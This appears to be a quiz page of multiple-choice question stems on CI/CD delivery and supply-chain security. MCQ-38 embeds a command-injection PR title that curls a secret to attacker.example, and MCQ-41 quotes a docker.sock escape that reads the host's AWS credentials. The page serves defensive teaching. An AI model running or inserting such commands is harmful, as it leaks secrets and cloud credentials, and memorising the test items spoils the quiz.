Every question on one page: open one, choose an answer, and see why at once. Signed in, your latest answer to each question counts, and you can answer again after 24 hours.
Curated: · Written: · Reviewed:
Reviewed 100Review pending 0
Answers to reviewed questions count toward this role and the overall leaderboard; your latest answer to each one is the one that counts.
MCQ-26A promote job runs `helm upgrade --install checkout charts/checkout --timeout 5m` and exits 0 in 8 seconds. A ConfigMap typo ships: the new ReplicaSet never becomes Ready, the old pods are scaled down, and checkout serves 0/3 for 6 minutes until an engineer notices. Which change to the promote job would have kept the previous revision serving and made the job exit non-zero instead?⌄
MCQ-20Checkout's promote job runs `helm upgrade --wait --timeout 5m` then `kubectl rollout status deploy/checkout`, and goes green when both exit 0. Last Tuesday it finished in 40 s with all 12 pods Ready; the readiness probe calls /healthz, which returned 200. The new revision was missing PAYMENTS_URL from the prod ConfigMap, so POST /checkout returned 500 for 34% of requests for 8 minutes until a human noticed. Staging's e2e suite had passed an hour earlier on the same image, and the rollback took 6 minutes because the previous revision had to be reconstructed from the release history. Which change to the promote job would have caught the bad revision before the pipeline went green?⌄
MCQ-21A cutover pipeline deregisters blue from the ALB target group, waits a fixed 5 s, then terminates the blue instances. At deregister the target group reports 1,800 active connections; the ALB idle timeout is 60 s and p99 request duration is 8.2 s. The cutover produces a 5xx spike of about 1,100 requests. Which change clears the spike?⌄
MCQ-27A Deployment runs 6 replicas of an API. Each pod serves 300 rps at p99 110 ms, and the p99 < 250 ms SLO holds while the fleet serves at least 1,400 rps; at 4 pods p99 rises to 1.2 s. The cluster is full, no node can take an extra pod, so maxSurge stays 0. The team wants the fastest rollout that never breaches the SLO. What should maxUnavailable be?⌄
MCQ-28checkout-api runs 6 replicas behind a Service. Each pod opens its HTTP listener on :8080 in about 0.4 s, then spends 8–25 s loading a 40 MB tax table before /checkout can return 200. The Deployment sets readinessProbe: tcpSocket port 8080, periodSeconds 1, and livenessProbe: httpGet /healthz. Every rolling update produces roughly 12 s of 500s per pod as kube-proxy routes to pods that are Ready but still loading. Which change removes those 500s?⌄
MCQ-22A service deploys build 4f2a to a 5% canary. The promotion gate is configured as: over a 10-minute window, once the canary slice has served at least 1,000 requests, abort and roll back to the previous digest if the canary success ratio is more than 0.5 percentage points below baseline. At the end of the window: baseline 99.8% success over 140,000 requests; canary 99.5% success over 1,240 requests; canary p99 240 ms vs baseline 180 ms. The service's availability SLO is 99%. What does the gate do?⌄
MCQ-79On Saturday, checkout-2.4.1 was promoted to production at 18:22 and the checkout success SLI dropped from 99.8% to 71% at 18:40, well below its 99.5% target. The on-call started a rollback to checkout-2.4.0 at 19:02, and the first healthy success-rate sample arrived at 19:12. Nothing else was deployed until the root-cause fix went out on Monday at 09:00. Which entry belongs in this incident's time-to-restore record?⌄
MCQ-5A postmortem covers a 22-minute checkout outage. PR #441 passed CI on Monday against main@A; main migrated a proto on Thursday; #441 merged Thursday without being rebuilt, and the combination broke checkout. Nine of the 22 minutes went to working out which commit was live. Main is consumed by 30 services that deploy on every merge, and the org's 40 repos share one CI template. Which change should the review accept?⌄
MCQ-86A platform deploys one service to us-east-1 and eu-west-1 from a single pipeline. Release 4.12 adds a NOT NULL column to the orders table; the pipeline runs a migration job per region and an app deploy per region. The promote stage deploys the app to both regions in parallel as soon as the us-east-1 migration job succeeds; eu-west-1's migration job is queued behind a backfill and finishes 6 minutes later. During those 6 minutes, 4% of EU orders return 500. Which change to the pipeline fixes the failure?⌄
MCQ-89payments-api serves checkout from 6 replicas deployed from the prod registry by digest, and its HPA keeps 6 to 24 replicas. The release pipeline runs four serial jobs by default and takes these observed times: build 6 min (image plus provenance attestation), test:integration 11 min, sign 1 min (cosign signs the digest with the CI key), promote 2 min (copies the digest into the prod registry, updates the Deployment, and writes the list of jobs that actually ran into the release record). The prod registry rejects any push whose digest lacks a valid cosign signature from the CI key. A Sev-1 opened 3 minutes ago: checkout fails for 30% of sessions on 1.42.3, and the incident channel has promised the fix live within 15 minutes. The fix is one line on top of the commit that produced 1.42.3, and 1.42.3's migration added a NOT NULL column with no default that only 1.42.3's code writes. A rolling update replaces all six replicas in about 4 minutes. Which path has all six replicas running the fixed code inside the 15-minute window and still running it after the next pod restart?⌄
MCQ-83Payments API promotes a registry digest through a shared pipeline: shift 5% of production traffic, wait for a manual ack, then 25%, then 100%. Twelve services use that pipeline, and commit 9c02 sits in a shared HTTP client they all link. The only load check is a nightly Jenkins job at 02:00, 20 rps for 15 minutes against the tip of main in staging, budget p99 250 ms, and 41 of the last 90 promotes reached 100% between two nightly runs. Last Tuesday digest sha256:41ab, cut from release/2025-11 and never merged to main, carried 9c02: a 300 ms synchronous retry on the refund path. It was promoted at 19:40, refund p99 went from 180 ms to 640 ms, the 02:00 job the next morning was green, and customers paged at 20:05. Which change to the delivery path would have blocked sha256:41ab while it was still only a candidate?⌄
MCQ-85A single-page app deploys with `aws s3 sync dist/ s3://app-origin/ --delete` (index.html plus content-hashed bundles such as app.9d41c7.js), then `aws cloudfront create-invalidation --paths '/*'`, and the job goes green the moment the invalidate call returns. In the 14:02 release, 18% of sessions over the following nine minutes were served the previous index.html with HTTP 200 and then requested the bundle that index names, which --delete had already removed, so the page died with a chunk-load error; five of the 26 edge locations were still serving that old index at 14:11. Which change should the review require before the next release?⌄
MCQ-29A payments service builds its release image with `FROM node:20-alpine` (tag only). Over six weeks, 40 CI rebuilds of the same commit produced 3 different base layer IDs; one of those pulled a base with a broken ICU package and broke locale parsing for 3.1% of EU checkouts. The team wants a rebuild of a given commit to produce the same base layer every time, changing only when someone deliberately updates the base. Which pipeline change achieves that?⌄
MCQ-1A `checkout` service deploys to staging and production from the same commit, 9f3c1a2. Staging's pipeline builds `checkout:4.12` and deploys it; production's pipeline runs its own build of the same commit and pushes `checkout:4.12` to the same registry. Between the two builds the base image's Debian mirror rotated, so production's build pulled a newer glibc. Production crash-looped for 14 minutes on 12% of pods while staging stayed healthy. The team wants production to run exactly the bits staging validated and to be able to prove after an incident which bits ran. Which change achieves both?⌄
MCQ-3A deploy overlay references `checkout:stable`. A registry garbage-collection retagged `stable`; on the next node recycle, 30 of 300 pods came up on 4.11 while the rest ran 4.12, and the canary compared the two. The registry offers no tag-immutability feature, and an auditor must be able to name the exact bits that shipped for any deploy in the last 90 days. Which change to the delivery path meets the audit requirement without relying on a registry feature?⌄
MCQ-2A release pipeline builds the image inside the prod job, `docker build --build-arg DB_URL=$DB_URL -t registry/app:$TAG` on a single dedicated runner, then runs `helm upgrade`. Three failures in one week: a support bundle's `docker history` shows the database URL in a layer even though CI scanned the same commit clean; the digest in the deploy log does not match the digest CI scanned for that commit; and a rollback to the previous tag rebuilt the image and picked up a base-image libc bump that broke a native extension. The team pins the base image by digest in the prod Dockerfile and moves `DB_URL` to a BuildKit secret mount, keeping the prod build. Which failure is still present?⌄
MCQ-50A service rebuilds its image in each environment's pipeline. Release 9f3c2a1 passed staging and crash-looped in production. Staging ran digest sha256:aa11, built from the Dockerfile with npm resolving lodash 4.17.21; production ran digest sha256:cc33, built from the same Dockerfile at the same git SHA with npm resolving lodash 4.17.20, which lacks the fix the release depended on. Both pipelines reported green. Which change should the team make?⌄
MCQ-44`checkout-api` ships as a container. The `build` job runs `docker build .` against a Dockerfile whose first instructions are `COPY package.json ./`, `RUN npm install --no-audit`, then `COPY . .`. The `test` job runs `npm ci` over the full checkout and was green on both builds below. Merge 9f2c1ab left package-lock.json in sync with package.json: it pins payments-lib 3.2.0 and its transitive analytics-sdk 2.4.1, while package.json asks for payments-lib ^3.2.0. Build 71, started 08:50, shipped an image with analytics-sdk 2.4.1. analytics-sdk 2.4.5 was published at 09:12. Build 72, started 09:30, ran the same commit and shipped analytics-sdk 2.4.5. Which cause and fix actually removes the drift?⌄
MCQ-34A team's CI builds `api:2f9c1e` and pushes it to the registry. The SBOM step runs `syft dir:.` on the checked-out source and uploads the result as a CI artifact named after the git SHA; the promote job deploys only if an artifact with that name exists. Production runs `api:2f9c1e`, and its scanner reports openssl 3.0.11-1~deb12u2 in the Debian base: a package the stored SBOM, which lists 412 npm packages and no OS packages, does not mention. Which change makes the promote gate reject a release whose SBOM does not describe the image being deployed?⌄
MCQ-33A registry runs GC nightly: it deletes any manifest that carries no tag and whose creation timestamp is older than 7 days. The promote job moves a single mutable `:prod` tag onto the new digest, and deploy manifests pin that digest so a rollback is exact. On Friday, digest `aa11`, built 30 days earlier, was promoted. On Saturday a hotfix moved `:prod` to `bb22`. On Monday the rollback to `aa11` returned 404. The team must be able to roll back to any digest that was ever promoted, however old. What should they change?⌄
MCQ-16A release pipeline promotes an artifact by digest. The integration gate runs on that digest before promote. During a Sev-1, an engineer used the break-glass path to promote digest sha256:cc33 with the integration gate skipped; the skip was ticketed, but no later pipeline re-ran integration on sha256:cc33. That digest stayed the production pointer for 9 days and through 4 more promotes. Which change addresses the cause?⌄
MCQ-47Production deploys `registry.acme.io/checkout:4.12`, and the Deployment leaves `imagePullPolicy` at its default, so a node that already holds an image for that reference reuses it. During a node eviction, 6 of 9 pods came up on digest `sha256:c3d4` and 3 stayed on `sha256:a1b2`. Both digests sit under that tag, and the tag resolves to the most recent push. `sha256:a1b2` was built by the GitHub Actions workflow `.github/workflows/release.yml` in `acme/checkout` and carries a signed in-toto provenance attestation stored as an OCI referrer of that digest. `sha256:c3d4` was pushed 40 minutes later from a laptop with `docker push` after `docker tag a1b2 checkout:4.12`, and carries none. The promote gate compares each pod's `image` string against the allowlist `[registry.acme.io/checkout:4.12]` and reports all 9 compliant. Which change makes the gate reject `sha256:c3d4` and admit `sha256:a1b2`?⌄
MCQ-32checkout runs in prod as a distroless image pinned by digest. Break-glass adds a temporary kustomize overlay that pins `checkout` to `checkout-debug` (`sha256:bb22`), and a revert job sets the Deployment's image back to the distroless digest 4 hours after the promote. One incident's timeline:
- 2024-03-11 14:05. Break-glass promotes `registry.internal/checkout@sha256:bb22` (debug).
- 2024-03-11 14:40. The pipeline deploys `registry.internal/checkout@sha256:cc33` (distroless) from the prod overlay.
- 2024-03-11 18:05. The revert job sets the Deployment's image to `registry.internal/checkout@sha256:aa11`; its log shows success.
- 2024-03-22: an audit finds `registry.internal/checkout@sha256:bb22` running in prod.
What explains `sha256:bb22` still running on 03-22?⌄
MCQ-30A team's Dockerfile is single-stage: `COPY . .`, then `RUN npm ci && npm run build && rm -f .env`. Trivy scans the final image filesystem, reports no secrets, and the image is pushed. A week later an incident responder pulls the image by digest and recovers the API token from `.env`. What is the correct explanation and fix?⌄
MCQ-67Your service ships the app image and its config in one Helm release. Last Tuesday a single release changed `request_timeout` from 30s to 2s and added a search feature. The 2s timeout drove checkout errors to 40%; on-call ran `helm rollback`, which also removed search, and product blocked the rollback, so the bad timeout stayed live for 2h14m. The team wants a config change to be promotable and revertible without touching the app digest. Which change to the delivery path achieves that?⌄
MCQ-66A GitHub Actions deploy job exchanges the workflow's OIDC token for a 15-minute registry credential. The `Exchange` step writes `REGISTRY_TOKEN=<value>` to `$GITHUB_ENV`. A later `Show config` step runs `echo "registry=$REGISTRY_HOST token=$REGISTRY_TOKEN"`, and the log shows the raw credential. The `Login` step, which runs after `Show config`, begins with `echo "::add-mask::$REGISTRY_TOKEN"`. Debug logging is off. Which change keeps the credential out of the log?⌄
MCQ-24Checkout runs on Postgres. Release 4.12 shipped one migration that ran `ALTER TABLE orders DROP COLUMN legacy_tax` and application code that reads `new_tax`. The deploy went green. Twenty minutes later error rates spiked, and on-call rolled the binary back to 4.11. 4.11 still selects `legacy_tax`, so every checkout request returned 500 for 51 minutes until a forward migration re-added the column. What caused the 51-minute outage?⌄
MCQ-25A pipeline promotes a 42-service monorepo through one Helm chart and a migrations directory. Prod currently runs 12 pods of orders 4.11 and 8 pods of orders 4.12. The 4.11 image selects orders.status; the 4.12 image does not. A separate reporting service 3.7 runs 4 pods and reads orders.status in a weekly batch. Migrations are their own digest: migrate:expand-19 is already applied, and migrate:contract-19 contains ALTER TABLE orders DROP COLUMN status. The release train wants to promote contract-19 tonight in the same pipeline run that finishes rolling out orders 4.12. What should the pipeline do?⌄
MCQ-87A payments platform keeps `orders` and `payments` in separate Postgres clusters. A migration at 03:00 drops `orders.legacy_ref`; the job records the `orders` snapshot id and its WAL position at 02:59:40. At 03:04 the DROP has committed and the job then fails. Writes continued throughout: 900 rows into `orders`, 300 into `payments`. The RTO is 15 minutes. Restoring the `orders` cluster from its snapshot takes 9 minutes; WAL replay from 02:59:40 to 03:04 takes 4 minutes. Which recovery meets the RTO and loses no committed write?⌄
MCQ-88checkout-api serves 1,200 order reads per second fleet-wide and its read endpoint holds a 99.9% success SLO. 4.12.0 was promoted at 14:02, a minute after migration 007 added orders.reference, backfilled it from orders.ref, and left orders.ref in place; 4.12.0 writes both columns. From 14:11 the read path throws a null-quote exception whenever the backfilled reference is NULL and has held a 6.4% error rate since, with p99 up from 210 ms to 1.9 s. It is 14:45 now: writes are unaffected, no writes are lost, and 4.11.3 reads orders.ref, which is still populated. The rollback job on the previous digest finishes in 4 minutes. The corrected query takes 90 minutes to reach production as 4.12.1 through the normal gates; a revert commit in main takes about 25 minutes to build and clear those same gates. The orders table holds 40M rows. What should the team do next?⌄
MCQ-54A chart ships a schema-migration Job annotated `helm.sh/hook: post-upgrade` and a Deployment. On `helm upgrade`, new pods start immediately and crash-loop with `column "tenant_id" does not exist` while the migration Job is still running. The team wants the migration to finish before any new pod starts. Which change achieves that?⌄
MCQ-84A Kafka topic carries Avro `OrderEvent` records. Producers are deployed first; consumers lag by up to three weeks. The schema registry is set to BACKWARD compatibility, and CI rejects any PR whose schema fails that check. A PR removes the `currency` field, which has no default in the current schema, and the check passes. The PR is otherwise ready to merge. What should the team do?⌄
MCQ-4`main` requires the `integration` check. The workflow runs a `changes` job (dorny/paths-filter on `src/**`) and an `integration` job gated by `if: needs.changes.outputs.src == 'true'`. Over the last 200 merges, `integration` reported success every time; 11 of those merges touched only `charts/**`, `integration` was skipped, and 2 shipped a broken `values.yaml` to production. The team adds a new top-level directory most months. Which change closes the gap?⌄
MCQ-7A monorepo runs one PR workflow. A `changes` job (dorny/paths-filter) sets `src`, and `integration`, the required check, runs only when `if: needs.changes.outputs.src == 'true'`. A PR that touched nothing but terraform/prod/dns.tf merged with the check reported as skipped, and the post-merge apply left production DNS private for 40 minutes. The filter list had been patched twice before, first for charts/** and then for .github/workflows/**, and each patch was followed by the next miss. `integration` takes 9 minutes, docs-only changes are 60% of merges, and the team's PR feedback budget is 10 minutes. What change closes the gap?⌄
MCQ-9A checkout-api repo runs two jobs per PR. `test` runs pytest with `--cov=src`, its step is marked `continue-on-error: true`, and it ends with a Codecov upload set to `fail_ci_if_error: false`. `coverage` posts the percentage as a PR comment and exits 0. Branch protection requires the check named `coverage`. Last quarter main coverage was 84% and 62 PRs merged with a median diff coverage of 58% on changed lines. One PR deleted `src/pricing/legacy.py` and its 14 tests, merged green, and main coverage fell to 82%; that PR's diff coverage was 41%. Which change makes a PR like that one fail the required check?⌄
MCQ-8A payments team's CI runs 2,000 specs. Policy: a quarantined spec carries an owner and an expiry no more than 14 days out, and the build fails if any annotation is past its expiry. Monday's build is green. The quarantine ledger shows 11 open entries; the oldest, checkout_spec:88 owned by payments, expired 11 weeks ago. What does the green build establish?⌄
MCQ-11A 40-package Nx monorepo runs affected-package CI as `nx affected --base=HEAD~1 --head=HEAD`. A branch has three commits: the first adds a required field to the `TaxQuote` type in `lib/payments`, the next two touch only docs. The pipeline is green, the branch merges, and two days later checkout's tax rounding overcharges 4,200 orders. What is the correct diagnosis and fix?⌄
MCQ-12A monorepo uses a shared remote build cache. A fork PR ran `bazel test //checkout:test`; its CI job wrote a cache entry keyed only by the command line. Six hours later, a main-branch job restored that entry and skipped a failing assertion in `//checkout:test`. The next release train leaves in two days. Fork PRs must keep running tests, and no branch may restore an entry written by a different branch. Which change best closes the hole?⌄
MCQ-36A platform team pins third-party actions to full commit SHAs across 60 repos and 240 workflows. Their CI gate is `grep -rE 'uses:.*@v[0-9]' .github/workflows/` and fails the build when it matches. A quarterly audit finds four workflows still calling mutable refs, three on `uses: acme/deploy@main` and one on `uses: acme/deploy@release/v2`, and the gate passed on all four. Which change closes the gap?⌄
MCQ-81A repo runs one workflow for the required `integration` check on both `pull_request` and `merge_group` events. Its concurrency block is `group: ${{ github.workflow }}` with `cancel-in-progress: true`. Last week 6 of 90 merges were force-merged: each time a push to a PR targeting `main` cancelled the in-flight `integration` run for a merge-queue entry, GitHub reported the required check as cancelled, and an engineer merged past it. The team wants a new push to a PR to keep cancelling that PR's own superseded runs. Which change fixes the force-merges?⌄
MCQ-91acme/payments requires three status contexts on main: build, unit and integration. The CI workflow defines a job with id `integration` and no `name:` key, so it reports the context `integration`. PR #4412, now at the head of a 39-PR queue, sets `name: integration-v2` on that job. Actions shows build, unit and integration-v2 green on the PR's head commit, but the merge box reads "Expected - Waiting for status to be reported: integration". Main's required list is edited by hand in the repository's branch protection settings - no bot syncs it. Which move lands #4412 while a failing integration-v2 run can never be mergeable?⌄
MCQ-82Two tags, v88 and v89, are pushed 40 seconds apart to the same GitHub Actions deploy workflow. The workflow sets `concurrency.group` to `deploy-` + `github.ref_name` and `cancel-in-progress: false`. Both jobs start. Job v88 runs `kubectl set image deployment/web web=registry/web:v88` then `kubectl apply -f config-v88.yaml`; job v89 runs the same steps for v89. For 15 minutes the live Deployment had web:v89 with the config-v88 ConfigMap. Which change fixes the race?⌄
MCQ-100A monorepo's PR pipeline has a p50 of 41 minutes: dependency install 6, lint and typecheck 3, unit tests 4, integration tests 12, browser e2e 16. The merge queue already runs all five stages on the merged result before it lands on main. The team wants the PR gate at p50 ≤10 minutes. Which change to the PR gate meets that target?⌄
MCQ-80A monorepo's CI runs on a shared pool of 4 runners that is saturated every weekday from 13:00 to 17:00. Over the last 14 days, p50 queue time is 28 minutes and p50 execution time is 7 minutes. While the pool is saturated, queue time scales roughly inversely with runner count. The org's runner quota caps this pool at 6 runners, and the team can land one change this sprint. Which change gives the lowest p50 wall-clock time?⌄
MCQ-97A platform team runs 60 services. Every PR must pass a required `policy` check: `kustomize build overlays/prod | conftest test --policy policy/ -`. The `policy/` directory is a git submodule pinned at commit `a1b2c3` (bundle v1.4). Gatekeeper in the cluster loads bundle v1.9 from the same repo; v1.9 added a rule that denies any container with `securityContext.privileged: true`, and v1.4 has no such rule. Every Gatekeeper constraint is in `deny`. PR #4821 adds `privileged: true` to `overlays/prod/deployment-patch.yaml` and changes nothing else. Which outcome does PR #4821 produce?⌄
MCQ-35Assume this policy is in force. A payments service PR adds `libfoo` 2.4.0, which carries CVE-2026-1111, rated critical. The repo's vulnerability gate reads `.vuln-ignore`; the only matching entry is `CVE-2026-1111, until=2026-08-15, owner=payments`, with no break-glass record. Today is 2026-06-01. The gate policy: every ignore needs an owner and an `until` date no more than 90 days out; CI fails expired ignores; a critical CVE cannot be ignored without a break-glass record that names residual risk and the compensating control in the same ticket. The gate runs on pull requests and on the main branch before the promote job. What does the gate do on this PR?⌄
MCQ-77`exception-audit` is a required check on every change to a payments prod overlay. It reads `prod/exceptions.yaml` from the change being tested and reports one finding per prod RoleBinding or ClusterRoleBinding that has no entry, or whose entry's `until` is not later than the check's run date. The run date is 2026-03-12, and prod holds four bindings while the file lists three:
| binding | extra permission | entry `until` |
| --- | --- | --- |
| payments/ci-runner | edit | 2026-04-01 |
| payments/deployer | edit | 2026-04-01 |
| payments/legacy-migrator | cluster-admin | 2026-02-15 |
| payments/sre-oncall | cluster-admin | no entry |
A change opens that pushes `payments/ci-runner`'s entry `until` to 2026-06-30 and edits nothing else. What does `exception-audit` report for that change?⌄
MCQ-68A payments platform keeps every feature flag in one YAML catalogue with an `expires_on` date. A CI job fails the build when a flag past `expires_on` is still referenced in Go source. Of the 340 flags, 22 are past `expires_on`; 21 are referenced nowhere and are cleared by a quarterly sweep, and the team deliberately does not fail the build on those. Last month the flag service failed over and served defaults for 40 minutes: `NEW_CHECKOUT_V2` (100% since 2026-05-01, `expires_on` 2026-06-01) flipped to off, the old checkout path had bit-rotted, and checkout returned 500s. The postmortem found the flag was still referenced, but only from `checkout.yaml`, a config file the scanner never reads, so the build stayed green. Which change to the pipeline would have failed that build?⌄
MCQ-13`acme/checkout` has a workflow with a `deploy` job that runs on pushes to `main` and declares `environment: production`, and a `build` job that runs on `pull_request` with no environment. Both call `aws-actions/configure-aws-credentials` with `role-to-assume: arn:aws:iam::111122223333:role/ci-deploy`. The role's trust policy is:
```json
{"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/checkout:ref:refs/heads/main"
}}
```
The `deploy` job fails with `AccessDenied: Not authorized to perform sts:AssumeRoleWithWebIdentity`. Which trust-policy change lets `deploy` assume the role while leaving `build` unable to?⌄
MCQ-14At 02:14 an on-call engineer with write access runs `gh workflow run release.yml --ref main`. The `deploy` job in that workflow declares `environment: production`. The `production` environment is configured with one required reviewer team named `release-managers`, self-review prevention enabled, a 30-minute wait timer, and a deployment branch policy that allows the `main` branch. The engineer who dispatched the run is not in `release-managers`. A release manager approves the pending deployment at 02:19. When do the deploy job's steps begin to run?⌄
MCQ-94After a job from acme/payments assumed the prod role under a wildcard trust policy, the platform team replaced it with exact conditions.
The role arn:aws:iam::123456789012:role/prod-deploy now trusts token.actions.githubusercontent.com with:
StringEquals:
token.actions.githubusercontent.com:aud = sts.amazonaws.com
token.actions.githubusercontent.com:sub = repo:acme/checkout:environment:production
Five jobs call sts:AssumeRoleWithWebIdentity and present the OIDC tokens below. Which request is granted?⌄
MCQ-38A repo's `.github/workflows/triage.yml` triggers on `pull_request_target` and never checks out the PR head. The job sets `env: AWS_DEPLOY_ROLE: ${{ secrets.AWS_DEPLOY_ROLE }}` and runs one step: `run: echo "PR title: ${{ github.event.pull_request.title }}"`. A fork PR sets its title to `Fix typo $(curl -s https://attacker.example/c?d=$AWS_DEPLOY_ROLE)`. What happens when the workflow runs?⌄
MCQ-39`acme/api` runs `.github/workflows/ci.yml` on `pull_request`. The `integration` job reads `secrets.STAGING_DB_URL` and runs the API suite against staging. Contributor `external-dev` opens PR #482 from a fork; the run shows `STAGING_DB_URL` empty and the job fails with `connection refused`. An engineer proposes switching the trigger to `pull_request_target` and adding `actions/checkout` with `ref: ${{ github.event.pull_request.head.sha }}`. Which assessment of that proposal is correct?⌄
MCQ-40A security review of a self-hosted runner fleet found that a job on a persistent EC2 runner could read a GitHub PAT another job had written to /tmp 11 minutes earlier, and that every job mounts the host's docker.sock for image builds. The requirement is that no job can observe another job's filesystem or reach the host daemon, on any workflow including fork PRs. Which change addresses the cause?⌄
MCQ-41A build job runs as a pod on a shared runner node and mounts the node's /var/run/docker.sock so that `docker build` works. The node's instance profile can push to ECR. The team hardens the build container: it drops CAP_SYS_ADMIN and applies a seccomp profile that blocks `mount` and `unshare`. A red-team postinstall script in a dependency still runs `docker run --privileged -v /:/host alpine cat /host/root/.aws/credentials` and reads the node's credentials. Why did the hardening not stop it?⌄
MCQ-42A hosted registry enforces authorization only through robot accounts scoped to repository prefixes: no per-tag policy, no IP allowlist, no push-time hooks. Kaniko builds run in namespace `ci` from a single pod template that mounts secret `regcred` at `/kaniko/.docker/config.json`; `regcred` holds robot `builder`, which has push on `reg.internal/**`. PR jobs and release jobs both use that template. PR authors can edit the pipeline YAML, including the Kaniko arguments, but cannot edit the pod template, which lives in a repo with restricted write access. Last month, 9 of 412 pushes to `reg.internal/prod/checkout` came from jobs whose git ref was `refs/pull/*`. Which change stops PR-triggered jobs from pushing to `reg.internal/prod/*`?⌄
MCQ-15A team deploys to production through a GitHub Actions workflow that targets a `prod` environment with one required reviewer. A 30-day audit of 40 production promotes shows: 26 were queued by `alice` and approved by `release-bot`, a shared machine account whose token sits in the team vault and was used by alice, the on-call, for all 26; the other 14 were queued by `alice` and approved by `bob`, a different engineer. The security lead reports the two-person control held for all 40. Which reading of the audit is correct?⌄
MCQ-72`deploy.yml` has one job, `promote`, targeting the `prod` environment, which requires one reviewer. The job's first step, `verify-staging`, is guarded by `if: github.event_name == 'push'`. Slack `/deploy` creates a `workflow_dispatch` event on `main`. Over 30 days: 412 deploys to `prod`. 380 from pushes to `main`, 32 from `/deploy`. Nine of the 32 shipped a commit that was not green on staging; no push deploy shipped a non-green commit. The same reviewer approved all 412. Which change addresses the cause?⌄
MCQ-93A GitHub Actions workflow `deploy-prod` assumes `gha-deploy-prod` via OIDC. The role has `AdministratorAccess`. During an incident, a compromised workflow used that role to call `iam:CreateUser` and `iam:CreateAccessKey`; the whole sequence took 90 seconds. The only production change the helm step needed was `kubectl patch deployment payments-api -n payments`. Terraform runs in the same workflow and applies per-workspace state. The team must keep helm deploys working and must be able to name the commit, gate, and rollback command that shipped after any incident. Which proposal should the review accept?⌄
MCQ-46Admission runs `cosign verify --certificate-identity-regexp 'release.yml' --certificate-oidc-issuer https://token.actions.githubusercontent.com ghcr.io/acme/payments:stable` and admits the pod when it exits 0. The release workflow in `acme/payments` signs keyless, and its certificate identity is `https://github.com/acme/payments/.github/workflows/release.yml@refs/heads/main`. An attacker forks the repo to `evil/payments`, adds a workflow named `release.yml` that signs keyless, builds `sha256:bb22`, and overwrites `:stable` to point at it. On the next reconcile, what does admission do?⌄
MCQ-48A prod GKE cluster runs a Binary Authorization policy that requires an attestation from the `ci-build` attestor; the policy applies cluster-wide with no namespace exemptions. Over 90 days the audit log shows 14 images admitted with no attestation and zero denials, and all 14 passed the pipeline's `cosign verify` step. During a SEV-1 an on-call engineer ran `kubectl set image` with a locally built tag and the pod ran for 3 days. Which change addresses the cause?⌄
MCQ-75A platform team runs 40 services. Twelve were generated from the golden-path template, now at v3.4 with OIDC deploys; the other 28 were regenerated from that template last quarter, which deleted their static AWS keys. Each repo carries the template version the generator wrote into it. Six weeks later an audit finds that 9 of the 28 have hand-edited their workflow YAML and re-added a static key, and the version file in each of those 9 still reads v3.4. The team has one sprint. Which change stops the next static key from shipping?⌄
MCQ-90Repo `checkout-api` protects `main` with "Require review from Code Owners" plus one approving review. Its CODEOWNERS file is:
```
/.github/workflows/ @platform-team
/deploy/ @platform-team
/terraform/ @platform-team
* @checkout-devs
```
A PR that changed only `.github/workflows/prod.yml`, adding a `terraform apply` step against the production workspace, was opened by a member of @checkout-devs, approved by a second member of @checkout-devs, and merged. No @platform-team review was ever requested. What explains the missing platform review?⌄
MCQ-92A platform team runs a quarterly job that joins every repo's branch-protection bypass list against the HR feed. This quarter, across 240 repos, it returns 37 bypass entries: 31 map to current employees (4 of those are GitHub Apps such as the release and Terraform bots), and 6 map to two contractor accounts whose contracts ended four months ago, spread over 3 repos. The audit log shows those two accounts pushed 14 commits straight to `main` in those 3 repos during the last 60 days, 9 of them touching files under `.github/workflows/`. Which conclusion does the evidence support?⌄
MCQ-96Post-incident review of a March outage at a payments company: the on-call engineer's break-glass cluster-admin binding was still active 187 days later, and a later change used it to disable NetworkPolicies. The team's rule is that no prod cluster-admin binding may outlive the incident that justified it, even when the engineer forgets to clean up. Which change enforces that rule?⌄
MCQ-95A platform team tells its VP that production changes only go through the pipeline. A 30-day Kubernetes audit query over the prod namespace, filtered to create, update, patch and delete on the deployments resource (the deployments/status subresource excluded), returns 515 requests: 96 from the ci-deploy service account, 412 from nine engineers' SSO sessions running kubectl, and 7 from the prod-break-glass role, which was bound for 60 minutes during one page. Auto-sync is on and selfHeal is off, so a hand edit stays in the cluster until someone commits it to Git. Which conclusion and next step are correct?⌄
MCQ-98During an incident review, a `hostNetwork: true` pod is found to have run in the `batch` namespace for six hours. The manifest was applied from a laptop with `kubectl apply --validate=false` and was never committed. The cluster runs Kyverno 1.12 with a `disallow-host-network` ClusterPolicy whose `validationFailureAction` is `Audit`; its PolicyReport shows 412 violations in `batch` over the last 30 days and none in any other namespace. CI runs `kyverno apply` with the same policy on every pull request and failed three times in that window, each time on a copy of this manifest that was then applied by hand. Which single change would have blocked this pod at creation?⌄
MCQ-99The `batch` namespace on the paved path carries a ResourceQuota with `requests.cpu: 4`, `limits.cpu: 8`, and `pods: 20`. A team submits a Job with `parallelism: 2` whose pod template declares `requests.cpu: 6` and `limits.cpu: 6`. What does the cluster do?⌄
MCQ-31A Deployment is updated to add `securityContext.runAsNonRoot: true` to its container. The image `worker:1.8` was built from a Dockerfile with no `USER` instruction, and the pod spec sets no `runAsUser`. The cluster runs no admission webhooks. What happens when the ReplicaSet creates a pod?⌄
MCQ-63Security's finding against a payments platform: the KMS customer managed key behind its 180 SOPS-encrypted manifests has not had its key material rotated since the key was created four years ago, and no future rotation is configured. The manifests live in the secrets repo, which is frozen until next week's migration lands - no commit may touch any of the 180 files until then. Files are created from a `.sops.yaml` rule that names `alias/prod-secrets`, and the Argo CD config-management plugin decrypts them in-cluster at sync time. The CMK is not suspected of compromise. Which action remediates the finding without breaking the next sync?⌄
MCQ-64A payments API runs on Kubernetes. Its Deployment sets DATABASE_URL with envFrom referencing a Secret named db-creds, which an External Secrets Operator syncs from AWS Secrets Manager (refreshInterval: 1h). The ExternalSecret and the Deployment are in the same namespace. After the DB password was rotated in Secrets Manager, the operator's next sync updated the Secret, `kubectl get secret db-creds -o jsonpath='{.data.DATABASE_URL}'` decodes to the new password, but two hours later the running pods were still authenticating with the old password and the database logged failed logins from them. Which action fixes this?⌄
MCQ-65A nightly CI job logs in to Vault with AppRole and then runs for 40 minutes. The role is configured with token_ttl=15m, token_max_ttl=30m, and secret_id_num_uses=1; Vault Agent renews the token in the background. At minute 31 the job's read of database/creds/app returns 403 permission denied, and the Agent log shows the renewal was rejected. The 40 minutes is one integration test that cannot be split, and the secret_id is response-wrapped and unwrapped once at job start. Which change fixes the failure?⌄
